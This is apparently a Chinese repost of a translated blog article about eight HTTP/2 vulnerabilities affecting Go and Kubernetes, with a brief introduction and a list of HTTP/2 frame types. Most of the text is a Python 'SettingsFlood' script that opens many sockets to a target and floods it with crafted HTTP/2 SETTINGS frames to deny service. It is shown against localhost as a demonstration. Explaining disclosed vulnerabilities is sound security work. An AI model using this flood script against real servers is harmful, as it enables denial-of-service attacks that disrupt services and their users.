其他
HTTP/2 最新漏洞,直指 Kubernetes!
Java技术栈
www.javastack.cn
优秀的Java技术公众号
在这个数据、应用横行的时代,漏洞的出现早已屡见不鲜。在尚未造成大面积危害之前,我们该如何做好防御措施?或许从过往经常发生漏洞的事件中我们能够得到一些启发。
近日,Netflix、Google 及 CERT/CC 披露了 HTTP/2 相关的 8 个安全漏洞,就连用来打造 Kubernetes 的 Go 语言也受到其中两个漏洞的波及,导致 Kubernetes 所有版本都受到相关漏洞影响,可能造成服务阻断。不过好在现在漏洞已修复,而我们在这个过程中又可以学习到什么?
PRIORITY
RST_STREAM
SETTINGS
PUSH_PROMISE
PING
GOAWAY
WINDOW_UPDATE
CONTINUATION
import sys
import time
class SettingsFlood:
SETTINGS_FRAME = b'\x00\x00\x00\x04\x00\x00\x00\x00\x00'
PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\x00\x00*\x04\x00\x00\x00' \
b'\x00\x00\x00\x01\x00\x00\x10\x00\x00\x02\x00\x00\x00\x01' \
b'\x00\x04\x00\x00\xff\xff\x00\x05\x00\x00@\x00\x00\x08\x00' \
b'\x00\x00\x00\x00\x03\x00\x00\x00d\x00\x06\x00\x01\x00\x00'
def __init__(self, ip, port=80, socket_count=200):
self._ip = ip
self._port = port
self._sockets = [self.create_socket() for _ in range(socket_count)]
def create_socket(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((self._ip, self._port))
s.send(self.PREAMBLE)
return s
except socket.error as se:
print("Error: "+str(se))
time.sleep(0.5)
return self.create_socket()
def attack(self, timeout=sys.maxsize, sleep=1):
t, i = time.time(), 0
while time.time() - t < timeout:
for s in self._sockets:
try:
s.send(self.SETTINGS_FRAME)
except socket.error:
self._sockets.remove(s)
self._sockets.append(self.create_socket())
time.sleep(sleep/len(self._sockets))
if __name__ == "__main__":
dos = SettingsFlood("127.0.0.1", 8080, socket_count=1500)
dos.attack(timeout=60*10*10)
作者:Randy Westergren
原文:https://randywestergren.com/a-closer-look-at-recent-http-2-vulnerabilities-affecting-k8s-and-other-implementations/
译者:弯月,责编:屠敏,CSDN 出品
点击「阅读原文」和栈长学更多~